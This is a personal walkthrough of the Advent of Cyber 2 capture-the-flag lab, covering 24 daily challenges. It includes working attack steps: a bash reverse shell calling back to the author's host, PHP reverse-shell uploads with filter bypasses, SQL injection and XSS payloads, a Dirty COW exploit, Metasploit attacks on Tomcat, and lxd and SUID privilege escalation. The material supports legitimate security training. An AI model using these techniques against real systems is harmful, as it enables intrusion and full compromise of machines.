Advent of Cyber 2
The first 23 days are simple bullet points describing how to do the task. Day 24 is a more complete write-up, as it was a more complete challenge!
Table of Contents
- [Day 1] Web Exploitation: A Christmas Crisis [encoding]
- [Day 2] Web Exploitation: The Elf Strikes Back! [file upload]
- [Day 3] Web Exploitation: Christmas Chaos [brute force]
- [Day 4] Web Exploitation: Santas watching [brute force / fuzzing]
- [Day 5] Web Exploitation: Someone stole Santas gift list! [SQLi]
- [Day 6] Web Exploitation: Be careful with what you wish on a Christmas night [XSS]
- [Day 7] Networking: The Grinch Really Did Steal Christmas [pcap]
- [Day 8] Networking: Whats Under the Christmas Tree? [nmap]
- [Day 9] Networking: Anyone can be Santa! [ftp]
- [Day 10] Networking: Dont be sElfish! [Samba]
- [Day 11] Networking: The Rogue Gnome [SUID]
- [Day 12] Networking: Ready, set, elf. [msf]
- [Day 13] Special by John Hammond: Coal for Christmas [manual exploit]
- [Day 14] Special by TheCyberMentor: Wheres Rudolph? [OSINT]
- [Day 15] Scripting: Theres a Python in my stocking! [Python]
- [Day 16] Scripting: Help! Where is Santa? [Python]
- [Day 17] Reverse Engineering: ReverseELFneering [RE x86]
- [Day 18] Reverse Engineering: The Bits of Christmas [RE .NET]
- [Day 19] Special by Tib3rius: The Naughty or Nice List [SSRF]
- [Day 20] Blue Teaming: PowershELlF to the rescue [PowerShell]
- [Day 21] Blue Teaming: Time for some ELForensics [strings, ADS, wmic]
- [Day 22] Blue Teaming: Elf McEager becomes CyberElf [CyberChef]
- [Day 23] Blue Teaming The Grinch strikes again! [vss]
- [Day 24] Special by DarkStar The Trial Before Christmas [lots!]
[Day 1] Web Exploitation: A Christmas Crisis [encoding]
- Register and log in
- Check cookies
- Decode using Cyberchef
- All numbers and early-in-the-alphabet letters → hex
- Recognise format
- Adjust username and re-encode using Cyberchef
- Replace cookie value and refresh page
- Turn everything on → success!
[Day 2] Web Exploitation: The Elf Strikes Back! [file upload]
- Create exploit script as described
- Go to URL including GET request
http://<url>/?id=<id-token>
- Check source code for upload types
- Rename script to bypass filter
$ mv php-reverse-shell.php php-reverse-shell.jpg.php
- Upload file. Simple message “File received successfully!”
- Check Burp Suite history - the POST was to
/upload
, so perhaps/uploads/
? Test:http://10.10.35.237/uploads/
→ success! - Also checked page source, find
http://10.10.35.237/assets/js/upload.js
. It’s obfuscated, but so use https://beautifier.io/ and http://jsnice.org/ to make sense of it. However, doesn’t seem to give much. - Hints suggest using a directory brute-forcer
- Check Burp Suite history - the POST was to
- Set up netcat listener:
$ sudo nc -lvnp 443
- Click file from
http://10.10.35.237/uploads/
, or visit full URLhttp://10.10.35.237/uploads/php-reverse-shell.jpg.php
- Check netcat, find shell
sh-4.4$ cat /var/www/flag.txt
→ success!
[Day 3] Web Exploitation: Christmas Chaos [brute force]
- Follow instructions to use Burp Suite to crack
- Intercept login
- Send to Intruder
- Clust Bomb
- Set Payloads
- Attack
- One result has different length returned → success!
[Day 4] Web Exploitation: Santa’s watching [brute force / fuzzing]
wfuzz -c -z file,big.txt http://shibes.xyz/api.php?breed=FUZZ
$ gobuster dir -u http://10.10.176.185/ -w /usr/share/wordlists/dirb/common.txt -x php
. Found/api
, which led tohttp://10.10.176.185/api/site-log.php
→ success!$ wfuzz -c -z file,wordlist http://10.10.176.185/api/site-log.php?date=FUZZ
(wordlist downloaded from THM). Only one had any characters → success!
[Day 5] Web Exploitation: Someone stole Santa’s gift list! [SQLi]
- Find login page. Not
/login
or/login.php
. Nothing in source. Check hint. - Attempt login using Burp Suite browser, find POST in HTTP history and send to Repeater, then save as
panel_login
. $ sqlmap -r panel_login --batch
- Meanwhile, try the obvious SQLi:
santa:' or 1=1 --
→ success! - Try the same
' or 1=1 --
in the panel → success! - Same the gift database POST request (as above) as
gift_db
$ sqlmap -r gift_db --batch --dump
→ success!
[Day 6] Web Exploitation: Be careful with what you wish on a Christmas night [XSS]
- Run manual test: Add wish of
<script>alert('xss');</script>
, refresh page, get alert box → XSS - Use ZAP Automated Scan as suggested
[Day 7] Networking: The Grinch Really Did Steal Christmas [pcap]
ICMP
to view pingshttp.request.method == GET
to view HTTP GETsframe contains password
to find the FTP cleartext password- Export objects to find the wishlist
[Day 8] Networking: What’s Under the Christmas Tree? [nmap]
$ sudo nmap -A 10.10.27.82 -T4 -v
→ success!
[Day 9] Networking: Anyone can be Santa! [ftp]
$ ftp 10.10.222.6
→ anonymousftp> ls -la
to view current directory contentsftp> cd public
then view current directory contentsftp> get shoppinglist.txt
to download the file, then view it with$ cat
ftp> get backup.sh
then edit to includebash -i >& /dev/tcp/10.4.5.126/4242 0>&1
$ nc -lvnp 4242
then wait for shellroot@tbfc-ftp-01:~# cat /root/flag.txt
→ success!
[Day 10] Networking: Don’t be sElfish! [Samba]
$ enum4linux -a 10.10.122.80
to see what’s available$ smbclient //10.10.122.80/tbfc-santa
to access share (no password)
[Day 11] Networking: The Rogue Gnome [SUID]
find / -perm -u=s -type f 2>/dev/null
Transfer LinEnum.sh and run
kali$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
kali$ python3 -m http.server 4444
bash-4.4$ wget 10.4.5.126:4444/LinEnum.sh
bash-4.4$ chmod +x LinEnum.sh
bash-4.4$ ./LinEnum.sh
[+] Possibly interesting SUID files: -rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Check GTFOBins:
For /bin/bash: https://gtfobins.github.io/gtfobins/bash/#file-read
bash-4.4$ export LFILE=/root/flag.txt; bash -c 'echo "$(<$LFILE)"'
bash: /root/flag.txt: Permission denied
For /usr/bin/pkexec: https://gtfobins.github.io/gtfobins/pkexec/
bash-4.4$ pkexec /bin/sh
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run '/bin/sh' as the super user
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
Try something else:
bash-4.4$ bash -p
→bash-4.4# cat /root/flag.txt
→ success!(Actually related to https://gtfobins.github.io/gtfobins/bash/#suid but didn’t need the first line)
[Day 12] Networking: Ready, set, elf. [msf]
Find the web server
$ sudo nmap 10.10.30.25 -T4
8080/tcp open http-proxy
Visit the web server: http://10.10.30.25:8080/ → Apache Tomcat/9.0.17
Find a vulnerability" Google “Apache Tomcat/9.0.17 cve” → https://www.cvedetails.com/cve/CVE-2019-0232/
Find an exploit and run it
$ msfconsole
msf6 > search CVE-2019-0232
msf6> use 0
msf6> set RHOSTS 10.10.30.25
msf6> set LHOST 10.4.5.126
msf6> set TARGETURI /cgi-bin/elfwhacker.bat
msf6> run
Explore
meterpreter > cat flag1.txt
→ success!meterpreter > sysinfo
→ x64 architecture, x86 meterpreter (tried below with x86, failed)meterpreter > ps
to find x64 with 1 next to itmeterpreter > migrate 684
to migrate to x64 processmeterpreter > bg
msf6> search suggest
msf6> use 4
msf6> set SESSION 1
msf6> run
[+] 10.10.30.25 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
→ but failedmsf6> sessions 1
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
→ success!
[Day 13] Special by John Hammond: Coal for Christmas [manual exploit]
- Find open ports:
$ sudo nmap -A -T4 -v -oA nmap 10.10.157.137
- Connect to telnet:
$ telnet 10.10.157.137
- Find more informoation:
$ cat /etc/*release
&$ uname -a
- Read the file:
$ cat cookies_and_milk.txt
- Find correct dirty cow (based on /etc/passwd),
nano dirty.c
, then copy the script and save https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c - Compile the code:
$ grep gcc dirty.c
→$ gcc -pthread dirty.c -o dirty -lcrypt
- Run the exploit
$ ./dirty
- Change user
$ su firefart
- Move to root:
firefart@christmas:/home/santa# cd /root
- Read the message:
# cat message_from_the_grinch.txt
- Make file:
# touch coal
- Get MD5:
# tree | md5sum
→ success!
[Day 14] Special by TheCyberMentor: Where’s Rudolph? [OSINT]
- Google “IGuidetheClaus2020” with various additions
- Reverse image search using tineye.com to find origin of image
- Use
wget
to download image to avoid losing metadata - Get his email from Twitter and search https://scyll4.com/api for
email:rudolphthered@hotmail.com
to find his password - Cross reference the co-ordinates with the Magnificent Mile on Google Maps and find a nearby hotel
[Day 15] Scripting: There’s a Python in my stocking! [Python]
$ python3
then play!
[Day 16] Scripting: Help! Where is Santa? [Python]
Find the web server port:
$ sudo nmap -T4 10.10.238.68
Was port 8000, now port 80. Also SSH on 22Guess the obvious! Check source for hidden link.
Write Pyton script to automate → success!
import requests for key in range(11,100,2): url = f'http://10.10.12.81/api/{key}' r = requests.get(url) print(r.text)
[Day 17] Reverse Engineering: ReverseELFneering [RE x86]
- Log in to the machine:
$ ssh elfmceager@10.10.236.135
- Load the file into Radare2:
elfmceager@tbfc-day-17:~$ r2 -d challenge1
- Analyse:
[0x00400a30]> aa
- List functions:
[0x00400a30]> afl
- Disassemble main:
[0x00400a30]> pdf @main
- “Read” the code
[Day 18] Reverse Engineering: The Bits of Christmas [RE .NET]
- Log in with Remmina. Ensure color depth is set to RemoteFX (32 bpp) or it won’t work.
- Open TBFC_APP with ILSpy
- Search for “password”
- Open the app and log in
[Day 19] Special by Tib3rius: The Naughty or Nice List [SSRF]
- Follow instructions → success!
[Day 20] Blue Teaming: PowershELlF to the rescue [PowerShell]
Log in via SSH:
$ ssh -l mceager 10.10.127.209
Enter powershell:
mceager@ELFSTATION1 C:\Users\mceager>powershell
Find and read the hidden file:
PS> Set-Location .\Documents\
PS> Get-ChildItem -File -Hidden
PS> Get-Content e1fone.txt
Find and read the file:
PS> Set-Location ..\Desktop\
PS> Get-ChildItem
PS> et-Location elf2wo
PS> Get-ChildItem
PS> Get-Content e70smsW10Y4k.txt
Find and read the files:
PS> Set-Location 'C:\Windows'
PS> Get-ChildItem -Directory -Hidden -Recurse -ErrorAction SilentlyContinue
PS> Set-Location .\System32\3lfthr3e
PS> Get-ChildItem -Hidden
PS> Get-Content .\1.txt | Measure-Object -Word
PS> (Get-Content .\1.txt)[551]
PS> (Get-Content .\1.txt)[6991]
PS> Select-String -Path .\2.txt -Pattern "Ryder"
[Day 21] Blue Teaming: Time for some ELForensics [strings, ADS, wmic]
- Connect with Remmina.
- Read file.
- Get hash:
PS> Get-FileHash -Algorithm MD5 .\deebee.exe
- Find flag:
PS> c:\Tools\strings64.exe -accepteula .\deebee.exe | findstr THM
- View alternate data streams (ADS) and stream names:
PS> Get-Item -Path .\deebee.exe -Stream *
- Launch the hidden executable hiding within ADS:
wmic process call create $(Resolve-Path .\deebee.exe:hidedb)
[Day 22] Blue Teaming: Elf McEager becomes CyberElf [CyberChef]
- Connect with Remmina.
- Decode folder name with CyberChef.
- Log in to KeePass.
- Find the passwords and decode with CyberChef.
- The last one,
eval(String.fromCharCode( [..] ));
, is Javascript. Run it in a browser console and it links to a Github. Visit the page → success!
[Day 23] Blue Teaming The Grinch strikes again! [vss]
- Connect with Remmina.
- Open file on desktop and user CyberChef to decode bitcoin address.
- Browse for the encrypted files.
- Open Task Scheduler to view scheduled tasks and hunt for a strange name.
- Open Task Scheduler to view scheduled tasks and hunt for ShadowCopy.
- Open Disk Management, assign drive letter to Disk 2, and view the drive. Make sure to turn on viewing hidden files if using Explorer.
- Check the version history to read the password.
[Day 24] Special by DarkStar The Trial Before Christmas [lots!]
Start by portscanning the box with nmap: $ nmap -A -T4 -oA nmap 10.10.174.132
. We find two open ports. Using the Burp Suite integrated browser, visit the pages. The one with the higher port number leads us to a login page.
Trying to login with basic SQLi (e.g. admin:' or 1=1--
) doesn’t get us anywhere. We can register and log in, but it doesn’t get us anything useful except an incredibly entertaining video.
Next let’s try and find directories and files. The question mentions a php file, so use that as an extension. I like Gobuster: $ gobuster dir -u http://10.10.174.132:65000 -w /usr/share/wordlists/dirb/common.txt -x php
We find an upload page. By viewing the source, we can see the <input>
only accepts certain file extensions. We can try using the same reverse shell php script as Day 2, renaming it to bypass the filter as before, although that gives us “Invalid File Type”. Checking the HTTP history in Burp we see there was no POST request, being the check (and hence rejection) was client-side.
First let’s see if there’s a magic number filter. This is part of the file itself which tells a system what the type of file is. The magic number for a .jpeg
is “FF D8 FF E0”, and we can use hexeditor to change it: $ hexeditor -b php-reverse-shell.jpg.php
→ Ctrl-A four times to insert four empty bytes → replace with FF D8 FF E0
→ Ctrl-X to save as php-reverse-shell-hex.jpg.php
. $ file php-reverse-shell-hex.jpg.php
to test, and it returns JPEG image data
. More info here: . https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/.
However, we still get “Invalid File Type”.
Doing some more digging (by inspecting the page Sources in the browser), we see there is a client-side JavaScript file, filter.js, doing the client-side filtering. Reading the script, we can see it actually blocks all uploads! Meaning, if the script is loaded, every file will return “Invalid File Type”. Muiri is such a troll.
Luckily we can tell Burp not to load the file when we load a page. Go to Proxy > Options > Incercept Client Requests and remove the js
entry. Turn Intercept on, and hard-refresh the uploads page. Drop filter.js (forward everything else) in Burp, and then we can upload our reverse shell!
Gosbuter also found us another interesting-looking page. Visit it and we can see it is where the uploaded files are stored - we can see our reverse shell! Set up a netcat listener on our machine with $ sudo nc -lvnp 443
and then “open” the reverse shell script in the browser - it will hang and then time out, but our listening will give us a shell.
The default shell is rubbish, so we can upgrade it. Spawn a better shell with $ python3 -c 'import pty;pty.spawn("/bin/bash")'
, then change the teminal emulator with www-data@light-cycle:/$ export TERM=xterm
. Background the shell with Ctrl-Z, then run $ stty raw -echo; fg
to stop cross-issues with our own terminal, then foreground the process again. Now we have a fully-functional reverse shell.
Find the flag file (we know the file name) with www-data@light-cycle:/$ find / -name "web.txt" 2>/dev/null
, and then read it with www-data@light-cycle:/$ cat /var/www/web.txt
.
Now we need to find the web server conf files. We can check the type of web server by seeing if the 404 page is generic e.g. http://10.10.122.132:65000/jyhtgrfe. Turns out it’s Apache/2.4.29. The Apache2 conf file is at /etc/apache2/apache2.conf
(by default, according to Google), but that has nothing. The web server directory is /var/www/
(again by default), and it contains a folder called TheGrid
. Inside this folder, we find the video from earlier, the public_html
(i.e. the website content) folder, and includes
. This latter one contains several php scripts. Read them with cat
and we find one of them contains credentials.
If we try to log in at the login page with those credentials, we get “Invalid username or password”, so no luck there. The file with the credentials suggests it’s a SQL database, so let’s tru to access that with MySQL: www-data@light-cycle:/$ mysql -utron -p
. We’re in.
We can explore the database next:
mysql> show databases;
mysql> use tron;
mysql> show tables;
mysql> SELECT * FROM users;
Nice, we get a username and hashed password. The php file from before suggests it’s MD5. This is easily cracked - I like https://crackstation.net/.
We can log in to the login page with those credentials, but… again the video. But we can also change the user from in shell: www-data@light-cycle:/$ su flynn
. Now we can get the next flag, which is in the usual CTF location: flynn@light-cycle:~$ cat /home/flynn/user.txt
.
We can check which groups the user is in with $ groups
or $ id
, and we find lxd is one of them. We can exploit lxd for privilege escalation and get root. Full details are on the Advent of Cyber 2 page. For us all we need to do is:
$ lxc image list
$ lxc init Alpine dletcont -c security.privileged=true
[dletcont
is the container name]
$ lxc config device add dletcont dletdev disk source=/ path=/mnt/root recursive=true
[dletdev
is the device name]
$ lxc start dletcont
$ lxc exec dletcont /bin/sh
And we’re root! This can be checked with # id
.
Finally, change to the root folder with # cd /mnt/root/root
then # cat root.txt
for the final flag.